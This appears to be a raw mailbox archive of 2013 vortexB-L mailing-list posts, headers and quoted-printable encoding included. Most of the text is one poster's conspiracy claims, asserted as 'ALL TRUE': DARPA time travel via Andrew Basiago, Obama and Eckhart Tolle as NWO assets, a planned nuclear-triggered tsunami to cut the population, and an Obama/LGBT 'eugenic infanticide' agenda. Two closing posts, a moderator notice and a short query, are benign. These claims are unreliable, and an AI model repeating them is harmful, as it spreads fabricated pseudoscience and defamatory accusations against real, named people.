Ooops oh dear=3B in the short term we are the PROPERTY OF THE STATE. .= . so what? All prior 'super-civilizations'merely collapsed under the garga= ntuan weight of their own BUREAUCRATIC WEIGHT. . . and these GMO-NWOclowns = think lowering the world's population will 'secure' their UTOPIAN DICTATORI= AL SUPREMACY forever & ever. They are OBESE(but still quite deadly) but doo= med beneath their poisonous HUBRIS. . . which is a CANCER thatsqueases the = LIFE from their very souls. . . Yes the infinite HYPERVERSE is an Aexoverse= and SUPER-M-BRANE Carrier Wave that is an INFINITE HYPER-COMPRESSEDSUPER-S= ENTIENT CARRIER WAVE. . . alive well. . . and tends to UBIQUITOUSLY ELIMINA= TE such CANCERS as Fascist-UtopionNWO-Megalomaniacy into obliviom=3B self c= onsuming=2C malignant=2C doomed. And there IS planetary health 'beyond' fro= m the All Being which is the 'life' from which ALL IS AN OUTGROWTH OF. . . = trial. . . error. . . evolution. . . toward a METAMORPHOSIS. . . Einsteins= and Christ YES@ = --_9e36e441-edf6-4a54-ad4e-f189f5773a74_ Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Youtube search of all Andrew D. = Basiago(pronounced like Chicago) who was a DARPA-Prodigy
as I was. . . I= 'm a half/generation older in the 'program'. . . It's easy enough to
det= ermine that Basiago=3B rather than the routine 'Coast-to-Coast' wing-nuts a= nd Off-their-Meds
Crackpots and Flip-toids: =3B BASIAGO is GENUINE. = . . This Tesla to Einstein-Rosen to Trandimensional
Casimir/Singularity = physics=3B and I promise you is MORE REAL THAN A HEART-ATTACK. . .
 = =3B
The quick 'jump' is DARPA visiting/quasi knowing the immediate 'futu= re' and BHO is a DARPA-Tolle
asset. . . =3B yes Tolle is a DARPA/NW= O asset. . . =3B and now it's SUCH A DONE DEAL that they hardly
need= to be 'covert' in the least. . .
 =3B
USA free national electio= ns are a SAD FICTION. . . so wise up guys. . .
 =3B
Ooops oh dear= =3B =3B in the short term we are the PROPERTY OF THE STATE. . . so what= ? All prior 'super-civilizations'
merely collapsed under the gargantuan = weight of their own BUREAUCRATIC WEIGHT. . . and these GMO-NWO
clowns th= ink lowering the world's population will 'secure' their UTOPIAN DICTATORIAL= SUPREMACY forever &=3B ever.
 =3B
They are OBESE(but still qu= ite deadly) but doomed beneath their poisonous HUBRIS. . . which is a CANCE= R that
squeases the LIFE from their very souls. . .
 =3B
Yes t= he infinite HYPERVERSE is an Aexoverse and SUPER-M-BRANE Carrier Wave that = is an INFINITE HYPER-COMPRESSED
SUPER-SENTIENT CARRIER WAVE. . . alive w= ell. . . and tends to UBIQUITOUSLY ELIMINATE such CANCERS as Fascist-Utopio= n
NWO-Megalomaniacy into obliviom=3B self consuming=2C malignant=2C doom= ed.
 =3B
And there IS planetary health 'beyond' from the All Bein= g which is the 'life' from which ALL IS AN OUTGROWTH OF. . .
 =3Btrial. . . error. . . evolution. . . toward a METAMORPHOSIS. . . =3B E= insteins =3B and Christ YES@
= --_9e36e441-edf6-4a54-ad4e-f189f5773a74_-- From vortexb-l-request@eskimo.com Fri Apr 19 11:34:23 2013 Return-Path: X-Original-To: billb@eskimo.com Delivered-To: billb@eskimo.com Received: by mx1.eskimo.com (Postfix, from userid 36987) id 60A74EC0; Fri, 19 Apr 2013 11:34:22 -0700 (PDT) Old-Return-Path: X-Original-To: vortexb-l@eskimo.com Delivered-To: vortexb-l@eskimo.com X-EIP: [xO19q+t+5Md5gvdDnpWCyP2nuNfEKXc/] X-Originating-Email: [ja.harchim@hotmail.com] Message-ID: Content-Type: multipart/alternative; boundary="_2465ebb4-a1c9-401d-b331-4be22cb55ecb_" From: Harbach Jak To: "vortexb-l@eskimo.com" Date: Fri, 19 Apr 2013 13:34:20 -0500 Importance: Normal In-Reply-To: References: ,,,,,, MIME-Version: 1.0 X-OriginalArrivalTime: 19 Apr 2013 18:34:20.0972 (UTC) FILETIME=[8207AEC0:01CE3D2C] X-Spam-Status: No, score=-1.0 required=3.9 tests=BAYES_00,FORGED_HOTMAIL_RCVD2, HTML_MESSAGE,UNPARSEABLE_RELAY autolearn=no version=3.3.2 X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on mx1.eskimo.com Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4699 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:RE: TORSION WAVE hyprspace=Quantum Entanglement=Spooky Action Resent-Date: Fri, 19 Apr 2013 11:34:22 -0700 (PDT) X-Virus-Scanned: clamav-milter 0.97.7 at mx1.eskimo.com X-Virus-Status: Clean Status: RO X-Status: X-Keywords: X-UID: 940 --_2465ebb4-a1c9-401d-b331-4be22cb55ecb_ Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable From: ja.harchim@hotmail.com To: vortex-l@eskimo.com Subject: TORSION WAVE hyprspace=3DQuantum Entanglement=3DSpooky Action Date: Fri=2C 19 Apr 2013 13:33:56 -0500 =0A= =0A= =0A= Einstein-Rosen Bridges spanning/tunneling through TORSION WAVE-AexoSpace/ hyperspace @ SPOOKY ACTION @ DISTANCE hyper-speed-density VIRTUAL NO TIME instantaneous speeds are indeed the 'solutions' that we have been seeking. =20 The ubiquitous pervasive atomic-casimir singularity ATOM MODEL as well as every macro=3B cosmic=3B and Aexocosmic Gyro-Toroidal Casimir-Torus Singula= rity TRANSDIMENSIONAL MODEL is what we are seeking. =20 Whether LENR or hyper cosmic trans-universe hyper space Ein-Ros instantaneo= us transit between dimensions=3B universes=3B etc. it's all there and upon us = as we speak =0A= =0A= =0A= =0A= =0A= RE: Kumare :D How Tolle's 'guru' prepared 4 OPRAH! ! ! =0A= =0A= First rate flick right here ---> http://www.youtube.com/watch?v=3DOXUzG6YKu= v =0A= =0A= =0A= * * * ! ! ! This is a laff riot ! ! ! * * * I did this exact same thing whe= n I was 15=3B 1967 'Summer of Love' Hollywood California. . . =20 Much of the Gullibility of human nature is to be gleaned over this but sadl= y the TORSION WAVE-SPIRIT connection of the SOURCE 'Infinite All Mind' aka YHWH-Tetragrammaton is a PERENNIAL HUNGER within the human spirit. =20 Our next quantum stage of HUMAN CONSCIOUSNESS EVOLUTION has only ONE SOURCE aka Torsion Wave(form) connection. FOR INSTANCE only=20 specific 'Wave-Form' frequencies=3B etc. tune in 'specific stations' for '= specific information. =20 In this case the 'I Am' Super Carrier Wave modulates only ONE KEY FREQUENCY to CONNECT to the metamorphosis which is the CURRENT HAPPENING QUANTUM EVOLUTIONARY LEAP for our planetary consciousness. . . =20 OF COURSE myriad other worlds have long since passed this key 'dangerous' p= oint in their respective planetary developments. The DEFACTO SOURCE OMNIVERSAL TOR= SION WAVE METAMORPHOSIS FACTOR which Earth was introduced as the 'Yeshua-Messiah BEING-FACTOR' is not a 'point' of choice nor democracy=3B BUT=3B merely IF = you want the CORRECT RESULT you have to PLUG INTO the correct frequency! ! ! =20 YHWH speaks saying at the PIVOTAL MOMENT "I WILL POOR OUT MY SPIRIT(Key cen= tral Torsion Frequency) UPON ALL FLESH" . . . Yeshua is called the LOGOS aka CENTRAL QU= ANTUM LEAP EINSTEIN-ROSEN PORTAL TORSION FREQUENCY. . . and NO OTHER CLAIMENTS to any 'Quasi-Guru-Messiahs' are anything but BS ARTISTS. . . case in point. . . K= UMARE who is very cool to be so PROFOUNDLY/HYPERBOLICALLY illustrating this point. . = . =20 THE "Eckharts" of the 3rd Reich/Oprah-Obama-Messiah etc. etc. ad nauseum ar= e thus. =20 GOOD PIC! ! ! =0A= =0A= =0A= =0A= =0A= =20 =0A= =0A= I dreampt of you(it 'wasn't' mescaline~=3B^) . . . I awoke with the distinct impression that I was 'supposed/required' to pass all below onto y= ou. . . It's nearly as exotic as a 'Star-Trek' episode but ALL TRUE none-the-less. . =0A= =20 = = --_2465ebb4-a1c9-401d-b331-4be22cb55ecb_ Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

 =3B
From: ja.harchim@hotmail= .com
To: vortex-l@eskimo.com
Subject: TORSION WAVE hyprspace=3DQuantu= m Entanglement=3DSpooky Action
Date: Fri=2C 19 Apr 2013 13:33:56 -0500
=0A= =0A= =0A=
Einstein-Rosen Bridges spanning/tunneling through TORSION = WAVE-AexoSpace/
hyperspace @ SPOOKY ACTION @ DISTANCE hyper-speed-densit= y VIRTUAL NO TIME
instantaneous speeds are indeed the 'solutions' that w= e have been seeking.
 =3B
The ubiquitous pervasive atomic-casimir= singularity ATOM MODEL as well as
every macro=3B cosmic=3B and Aexocosm= ic Gyro-Toroidal Casimir-Torus Singularity
TRANSDIMENSIONAL MODEL is wha= t we are seeking.
 =3B
Whether LENR or hyper cosmic trans-univers= e hyper space Ein-Ros instantaneous
transit between dimensions=3B univer= ses=3B etc. it's all there and upon us as we speak

=0A= =0A=
=0A=

=0A= =0A= RE: Kumare :D How Tolle's 'guru' prepared 4 OPRAH! ! !
=0A= =0A=
First rate flick right he= re --->=3B http://www.youtube.com/watch?v=3DOXUzG6YKuv

=0A= =0A=
=0A=
* * * ! ! ! This is a laff =3Briot ! ! ! * * * I did t= his exact same thing when I was 15=3B 1967
'Summer of Love' Hollywood Ca= lifornia. . .
 =3B
Much of the Gullibility of human nature is to = be gleaned over this but sadly
the TORSION WAVE-SPIRIT connection = =3Bof the SOURCE 'Infinite All Mind' aka
YHWH-Tetragrammaton is a PERENN= IAL HUNGER within the human spirit.
 =3B
Our next quantum stage o= f HUMAN CONSCIOUSNESS EVOLUTION has only
ONE SOURCE aka Torsion Wave(for= m) connection. =3B FOR INSTANCE only
specific 'Wave-Form' frequenci= es=3B etc. =3B tune in 'specific stations' for 'specific
information= .
 =3B
In this case the 'I Am' Super Carrier Wave modulates only = ONE KEY FREQUENCY
to CONNECT to the metamorphosis which is the CURRENT H= APPENING QUANTUM
EVOLUTIONARY LEAP for our planetary consciousness. . .<= br> =3B
OF COURSE myriad other worlds have long since passed this ke= y 'dangerous' point in
their respective planetary developments. =3B = The DEFACTO SOURCE OMNIVERSAL TORSION
WAVE METAMORPHOSIS FACTOR which Ea= rth was introduced as the 'Yeshua-Messiah
BEING-FACTOR' is not a 'point'= of choice nor democracy=3B BUT=3B merely IF you want the
CORRECT RESULT= you have to PLUG INTO the correct frequency! ! !
 =3B
YHWH speak= s saying at the PIVOTAL MOMENT "I WILL POOR OUT MY SPIRIT(Key central Torsi= on
Frequency) UPON ALL FLESH" . . . =3B Yeshua is called the LOGOS a= ka CENTRAL QUANTUM LEAP
EINSTEIN-ROSEN PORTAL TORSION FREQUENCY. . .&nbs= p=3B and NO OTHER CLAIMENTS to any
'Quasi-Guru-Messiahs' are anything bu= t BS ARTISTS. . . case in point. . . KUMARE who
is very cool to be so PR= OFOUNDLY/HYPERBOLICALLY illustrating this point. . .
 =3B
THE "Ec= kharts" of the 3rd Reich/Oprah-Obama-Messiah etc. etc. ad nauseum are thus.=
 =3B
GOOD PIC! ! !


=0A= =0A=
=0A=


=0A= =0A=
 =3B
=0A= =0A=
I dreampt of you(it 'wasn't' mescaline~=3B^) =3B.= . . I awoke with the
distinct impression that I was 'supposed/required'= to pass all below onto you. . . It's nearly as exotic as a 'Star-Trek'
= episode but ALL TRUE none-the-less. . =3B
=0A=
 =3B
 =3B
<= /div>
=
= --_2465ebb4-a1c9-401d-b331-4be22cb55ecb_-- From vortexb-l-request@eskimo.com Tue Apr 23 15:09:08 2013 Return-Path: X-Original-To: billb@eskimo.com Delivered-To: billb@eskimo.com Received: by mx1.eskimo.com (Postfix, from userid 36987) id C544AD5A; Tue, 23 Apr 2013 15:09:06 -0700 (PDT) Old-Return-Path: X-Original-To: vortexb-l@eskimo.com Delivered-To: vortexb-l@eskimo.com X-EIP: [NHrtKHU7bH59y8YtTsqL9bfwLqpUjZAv] X-Originating-Email: [ja.harchim@hotmail.com] Message-ID: Content-Type: multipart/alternative; boundary="_cf74c978-4713-496e-a08f-289f10e9ff1c_" From: Harbach Jak To: "vortexb-l@eskimo.com" Date: Tue, 23 Apr 2013 17:09:05 -0500 Importance: Normal In-Reply-To: References: ,,,,, MIME-Version: 1.0 X-OriginalArrivalTime: 23 Apr 2013 22:09:05.0299 (UTC) FILETIME=[2B56F630:01CE406F] X-Spam-Status: No, score=-1.0 required=3.9 tests=BAYES_00,FORGED_HOTMAIL_RCVD2, HTML_MESSAGE,UNPARSEABLE_RELAY autolearn=no version=3.3.2 X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on mx1.eskimo.com Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4700 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:RE: TSUNAMI WATCH>Censored@Vortex: Resent-Date: Tue, 23 Apr 2013 15:09:06 -0700 (PDT) X-Virus-Scanned: clamav-milter 0.97.7 at mx1.eskimo.com X-Virus-Status: Clean Status: RO X-Status: X-Keywords: X-UID: 941 --_cf74c978-4713-496e-a08f-289f10e9ff1c_ Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable =0A= =0A= =0A= =0A= Jake: Recently=2C within about 90 seconds of my posting on vortex-l of an = 'oblique' observation that=20 DARPA was aware of the extreme vulnerability of the Eastern USA Coastline t= o the 'tampering' of Las Palmas Island in the Azores but had NOT made previsions = to prevent a Tsunami-catastrophe>>>> subsequently>>>my computer was immediately invade= d and rendered into 'junk.' =20 When I eventually got back on line via anotheer IP address the same had bee= n done with my 'Vortex-l' address. . . =20 Curiouser & Curiouser. =20 =20 The concommitant observation that the recent OMINOUS MAJOR & GROWING COASTL= INE CRACK of the Anarctic 'Over-Water' Ice-Shelf would quite possibly 'finally = plunge' to that Las Palmas Volcano slide into the sea Tsunami and reverberate back & forth = across the Atlantic. And such a 'vulnerability' would be easily exploitable to any power who cou= ld place a 'few' small 'tactical' nukes along the 'Antarctic Ice Shelf' crack out of Submari= ne torpedo tubes supended in place by simple inflatable 'plateforms' under the ice. . = . WHO IS WATCHING? WHO IS PROTECTING? and from 'whom?!?' =20 Since a 'DARPA Asset'(Andrew D. Basiago) was taking great pains to 'plant-b= roadcast' the salient points of this 'alarming' scenario across a series of sequential You-Tubes:= while discreetly NOT all at once. . . my personal internal alarms began to sound. . . . loudly. =20 DARPA-(rooted in ominously sanguine CIA-absorbtion of 3rd Reich assets circ= a WW-II such as Wernher Von Braun and SS & Mengele types) are not the most benevolent of= quasi-western aggressive darker-agenda types. Inshort: Since my father was 'attached' to= these fine folks as have I semi-directly over the years=3B I trust them about as far as I ca= n throw them. The 'nature' of that beast is far less than 'noble.' =20 The inside story line would be that IF a 'Las Palmas Island Catastrophe' we= re merely the cover for 'inducing the Antartic Ice-Shelf to 'slip' and thusly inundate the coas= tlines of the planet. . . BUT=3B all at a PREDICTABLE MOMENT. . . such as DARPA types would consider = such a golden opportunity. =20 AND OMINOUSLY just such provisions are well in place to RESTRUCTURE U.S.A. = and UK power structures in and around the U.S. Denver=2C Colorado Rocky Mountain Spine. = . . A MILE HIGH=2C STABLE & DRY. =20 It IS accurate that some rather reputable and judicious sources have deduce= d that the folks/global power-structure of whom we are speaking 'really do' consider a rather short-term rather drasti= c reduction of the planet's population to be a 'desirable goal.' A preponderant volume of the Plant's = population reside in coastal population centers. . . not to be alarmist. . . . BUT. . . . =20 I considered it of CONSPIRACY THEORISTS=3B a Moronic premise that so-called= FEMA camps within the USA meant some 'hostile act upon the people' to be ridiculous. . . =20 HOWEVER: When I made the point on line that ALL OF THE FEMA CAMPS were Inl= and JUST ENOUGH to corral 'survivors' of just such a COASTAL INUNDATION HOLOCAUST my online 'r= esources' were UNMISTAKENLY ATTACKED & SUNDERED. . . and whether the article 'survived' for long on vor= tex. . . I have NO CLUE. . . =20 The 'last straw' in my article was that the socalled proliferation of back-= logued FEMA-Coffins at these 'camp-sites' would DOUBTLESSLY BE NECESSARY because of the EXPECTABLE PROLIFERATION OF EPIDEMIC DEATH RATES FROM CHOLER= A ETC. against such a=20 Coastal Devastation 'sudden' catastrophe. . . AND ESPECIALLY IF NO COASTAL = RESIDENTS WERE FORWARNED. . . =20 And THEN THE BOTTOM FELL OUT. . . =20 Food for thought my friend. . . be cautious if you 'investigate these matte= rs. . . Jack = = --_cf74c978-4713-496e-a08f-289f10e9ff1c_ Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

=0A= =0A=
=0A= =0A= Jake: =3B Recently=2C within about 90 seconds of my posting on vortex-l= of an 'oblique' observation that
DARPA was aware of the extreme vulner= ability of the Eastern USA Coastline to the
'tampering' of Las Palmas Is= land in the Azores but had NOT made previsions to prevent
a Tsunami-cata= strophe>=3B>=3B>=3B>=3B subsequently>=3B>=3B>=3Bmy computer w= as immediately invaded
and rendered into 'junk.'
 =3B
When I e= ventually got back on line via anotheer IP address the same had been donewith my 'Vortex-l' address. . .
 =3B
Curiouser &=3B Curiouse= r. =3B
 =3B
The concommitant observation that the recent OMI= NOUS MAJOR &=3B GROWING COASTLINE
CRACK of the Anarctic 'Over-Water' = Ice-Shelf would quite possibly 'finally plunge' to that
Las Palmas Volca= no slide into the sea Tsunami and reverberate back &=3B forth across the= Atlantic.
And such a 'vulnerability' would be =3Beasily exploitable= to any power who could place a 'few'
small 'tactical' nukes along the '= Antarctic Ice Shelf' crack out of Submarine torpedo
tubes supended in pl= ace by simple inflatable 'plateforms' under the ice. . . =3B WHO IS WAT= CHING?
WHO IS PROTECTING? and from 'whom?!?'
 =3B
Since a 'DAR= PA Asset'(Andrew D. Basiago) was taking great pains to 'plant-broadcast' th= e salient
points of this 'alarming' scenario across a series of sequenti= al You-Tubes: while discreetly NOT all
at once. . . my personal internal= alarms began to sound. . . . loudly.
 =3B
DARPA-(rooted in omino= usly sanguine CIA-absorbtion of 3rd Reich assets circa WW-II such
as Wer= nher Von Braun and SS &=3B Mengele types) are not the most benevolent of= quasi-western
aggressive darker-agenda types. =3B Inshort: Since my= father was 'attached' to these fine folks
as have I semi-directly over = the years=3B I trust them about as far as I can throw them. =3B The
= 'nature' of that beast is far less than 'noble.'
 =3B
The inside = story line would be that IF a 'Las Palmas Island Catastrophe' were merely t= he cover
for 'inducing the Antartic Ice-Shelf to 'slip' and thusly inund= ate the coastlines of the planet. . .
BUT=3B all at a PREDICTABLE MOMENT= . . . such as DARPA types would consider such a golden
opportunity.
&= nbsp=3B
AND OMINOUSLY just such provisions are well in place to RESTRUCT= URE U.S.A. and UK power
structures in and around the U.S. Denver=2C Colo= rado Rocky Mountain Spine. . . A MILE HIGH=2C STABLE &=3B DRY.
 = =3B
It IS accurate that some rather reputable and judicious sources have= deduced that the folks/global power-structure of
whom we are speaking '= really do' consider a rather short-term rather drastic reduction of the pla= net's
population to be a 'desirable goal.' =3B A preponderant volume= of the Plant's population reside in coastal
population centers. . .&nbs= p=3B not to be alarmist. . . . BUT. . . .
 =3B
I considered it of= CONSPIRACY THEORISTS=3B a Moronic premise that so-called FEMA camps within= the USA
meant some 'hostile act upon the people' to be ridiculous. . .<= br> =3B
HOWEVER: =3B When I made the point on line that ALL OF T= HE FEMA CAMPS were Inland JUST ENOUGH to
corral 'survivors' of just such= a COASTAL INUNDATION HOLOCAUST my online 'resources' were UNMISTAKENLY
= ATTACKED &=3B SUNDERED. . . and whether the article 'survived' for long = on vortex. . . I have NO CLUE. . .
 =3B
The 'last straw' in my ar= ticle was that the socalled proliferation of back-logued FEMA-Coffins at th= ese 'camp-sites' would DOUBTLESSLY BE NECESSARY
because of the EXPECTABL= E PROLIFERATION OF EPIDEMIC DEATH RATES FROM CHOLERA ETC. =3Bagainst su= ch a




<= div dir=3D"ltr">
Coastal Devastation 'sudden' catastrophe. =3B. . AND ESPECIALL= Y IF NO COASTAL RESIDENTS  =3BWERE FORWARNED. . .
 =3B
And TH= EN THE BOTTOM FELL OUT. . .
 =3B
Food for thought my friend. . . = be cautious if you 'investigate these matters. . . Jack
<= /div>
= --_cf74c978-4713-496e-a08f-289f10e9ff1c_-- From vortexb-l-request@eskimo.com Wed Apr 24 15:20:46 2013 Return-Path: X-Original-To: billb@eskimo.com Delivered-To: billb@eskimo.com Received: by mx1.eskimo.com (Postfix, from userid 36987) id 82DF3DC4; Wed, 24 Apr 2013 15:20:35 -0700 (PDT) Old-Return-Path: X-Original-To: vortexb-l@eskimo.com Delivered-To: vortexb-l@eskimo.com X-EIP: [ZYxgIlWJoIaZ8A1Wm01hWKcdanuG4uNT] X-Originating-Email: [ja.harchim@hotmail.com] Message-ID: Content-Type: multipart/alternative; boundary="_8d17c9a0-f896-4813-8b4f-413548edf860_" From: Harbach Jak To: "vortexb-l@eskimo.com" Date: Wed, 24 Apr 2013 17:20:30 -0500 Importance: Normal In-Reply-To: References: MIME-Version: 1.0 X-OriginalArrivalTime: 24 Apr 2013 22:20:31.0069 (UTC) FILETIME=[EE80E8D0:01CE4139] X-Spam-Status: No, score=-1.0 required=3.9 tests=BAYES_00,FORGED_HOTMAIL_RCVD2, HTML_MESSAGE,UNPARSEABLE_RELAY autolearn=no version=3.3.2 X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on mx1.eskimo.com Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4701 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:RE: VALID SCIENTIFIC QUERY: BHO: LGBT & INFANTCIDE/EUGENIC GENOCIDE CommonAgenda: Say it ain't so! Resent-Date: Wed, 24 Apr 2013 15:20:35 -0700 (PDT) X-Virus-Scanned: clamav-milter 0.97.7 at mx1.eskimo.com X-Virus-Status: Clean Status: RO X-Status: X-Keywords: X-UID: 942 --_8d17c9a0-f896-4813-8b4f-413548edf860_ Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable =0A= =0A= =0A= Scientific Question: ?How does 'Planned Eugenic Infanticide' translate int= o Planned Parenthood? =20 The NAZIs coined MANY dark euphamisms for 'human extermination' among which 'Eugenics' was adopted by them although it was NOT 'imagined' first b= y them. =20 The Rockefeller Foundation was the NAZI source. . . =20 Illinois trials for slaughering legions of viable surviving 'aborted' kids = is monstrous by any definition. . . this goes into the 'holocaust' millions of kids whic= h originally started in the USA to reduce the population of PEOPLE OF COLOR though the m= onster Irony now is that it's current CHAMPION is our first President of Color. =20 ?Questions of Questions? BHO's Mom and her son 'Barry Soetoro' were indeed= CIA/DARPA assets per Andrew D. Basiago(also a 'known' CIA/DARPA asset. . .=20 QUESTION: Does supporting largely a 'procreatively sterile' cross-section = of population as the NEW SOCIAL/DESIRABLE status for citizens to adopt a PRE--PLANNED AGENDA to = CURTAIL POPULATION and Eugenically SELECT AGAINST these people's procreative-future= (AKA for their EXTINCTION)? ? ? =20 ?Does BHO as a 'feigned/ruse' closet 'LGTB/Eugenic Infanticide President' a= CIA/DARPA agenda to CURTAIL & CULL the future Procreative-Genetic 'Desirables' or UNDESIRABLES from the future= population. . . ? =20 These are valid venues for Scientific Inquiry. . . =20 =20 =20 =20 =20 = --_8d17c9a0-f896-4813-8b4f-413548edf860_ Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable


=0A= =0A=
=0A=
Scientific Question: =3B ?How does 'Planned Eugenic In= fanticide' translate into Planned Parenthood?
 =3B
The NAZIs coin= ed MANY dark euphamisms for 'human extermination' among
which 'Eugenics'= was adopted by them although it was NOT 'imagined' first by them.
 = =3B
The Rockefeller Foundation was the NAZI source. . .
 =3B
I= llinois trials for slaughering legions of viable surviving 'aborted' kids i= s monstrous
by any definition. . . this goes into the 'holocaust' millio= ns of kids which originally
started in the USA to reduce the population = of PEOPLE OF COLOR though the monster
Irony now is that it's current CHA= MPION is our first President of Color.
 =3B
?Questions of Questio= ns? =3B BHO's Mom and her son 'Barry Soetoro' were indeed CIA/DARPA
= assets per Andrew D. Basiago(also a 'known' CIA/DARPA asset. . .
QUESTI= ON: =3B Does supporting largely a 'procreatively sterile' cross-section= of population as the
NEW SOCIAL/DESIRABLE status for citizens to adopt = a PRE--PLANNED AGENDA to CURTAIL
POPULATION and Eugenically SELECT AGAIN= ST these people's procreative-future(AKA for their EXTINCTION)? ? ?
&nbs= p=3B
?Does BHO as a 'feigned/ruse' closet 'LGTB/Eugenic Infanticide Pres= ident' a CIA/DARPA agenda to CURTAIL &=3B CULL
the future Procreative= -Genetic 'Desirables' or UNDESIRABLES from the future population. . . ?
=  =3B
These are valid venues for Scientific Inquiry. . .
 =3B<= br> =3B
 =3B
 =3B
 =3B
=
= --_8d17c9a0-f896-4813-8b4f-413548edf860_-- From vortexb-l-request@eskimo.com Sat May 11 15:28:51 2013 Received: from ultra7.eskimo.com (IDENT:smartlst@localhost [127.0.0.1]) by ultra7.eskimo.com (8.14.0/8.14.3) with ESMTP id r4BMSnFO009783; Sat, 11 May 2013 15:28:49 -0700 Received: (from smartlst@localhost) by ultra7.eskimo.com (8.14.0/8.12.10/Submit) id r4BMSkgd009772; Sat, 11 May 2013 15:28:46 -0700 Resent-Date: Sat, 11 May 2013 15:28:46 -0700 X-Authentication-Warning: ultra7.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Authentication-Warning: shellx.eskimo.com: billb owned process doing -bs Date: Sat, 11 May 2013 15:28:48 -0700 (PDT) From: William Beaty To: vortexb-l@eskimo.com Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4702 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:MODERATOR: vortexB, debunking Status: RO X-Status: X-Keywords: X-UID: 943 Any who wish to argue whether [anomaly] is delusion or real, are free to do so on VORTEXB-L. Please keep it off the main forum. Right now vortexB has ~70 subscribers. VORTEX B: Besides "vortex-L", there is also "vortexB-L." This is a secondary forum which has no rules. We use it for extremely off-topic discussions, and also as a flameproof place for any groups who feel a need to engage in verbal fisticuffs. To subscribe, send a *blank* message to: vortexB-L-request@eskimo.com Put the single word "subscribe" in the subject line of the header. No quotes around "subscribe," of course. (((((((((((((((((( ( ( ( ( (O) ) ) ) ) ))))))))))))))))))) William J. Beaty SCIENCE HOBBYIST website billb at amasci com http://amasci.com EE/programmer/sci-exhibits amateur science, hobby projects, sci fair Seattle, WA 206-762-3818 unusual phenomena, tesla coils, weird sci From vortexb-l-request@eskimo.com Sun May 19 12:40:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on mx1.eskimo.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.2 X-Original-To: billb@eskimo.com Delivered-To: billb@eskimo.com Received: by mx1.eskimo.com (Postfix, from userid 36987) id 5646F418; Sun, 19 May 2013 12:40:31 -0700 (PDT) Old-Return-Path: X-Original-To: vortexb-l@eskimo.com Delivered-To: vortexb-l@eskimo.com Message-ID: <51992A9A.3000207@resist.ca> Date: Sun, 19 May 2013 15:40:10 -0400 From: grok User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20120907 Thunderbird/15.0.1 MIME-Version: 1.0 To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4703 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Frankie Boy Resent-Date: Sun, 19 May 2013 12:40:31 -0700 (PDT) X-Virus-Scanned: clamav-milter 0.97.8 at mx1.eskimo.com X-Virus-Status: Clean Status: RO X-Status: X-Keywords: X-UID: 944 Is Frank Znidarsic getting more press these days? Seen him in a post on Facebook -- a link to a video. -- grok. From vortexb-l-request@eskimo.com Tue Jun 4 16:29:00 2013 Received: from ultra7.eskimo.com (IDENT:smartlst@localhost [127.0.0.1]) by ultra7.eskimo.com (8.14.0/8.14.3) with ESMTP id r54NSxdv018750; Tue, 4 Jun 2013 16:28:59 -0700 Received: (from smartlst@localhost) by ultra7.eskimo.com (8.14.0/8.12.10/Submit) id r54NSnwO018739; Tue, 4 Jun 2013 16:28:49 -0700 Resent-Date: Tue, 4 Jun 2013 16:28:49 -0700 X-Authentication-Warning: ultra7.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Authentication-Warning: shellx.eskimo.com: billb owned process doing -bs Date: Tue, 4 Jun 2013 16:28:51 -0700 (PDT) From: William Beaty To: vortexB-l@eskimo.com In-Reply-To: Message-ID: References: <12583AC0-8C37-4CED-BC9D-07D2BA9165D2@ix.netcom.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4704 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Josh vs Believers, round 41 Status: RO X-Status: X-Keywords: X-UID: 945 On Mon, 13 May 2013, 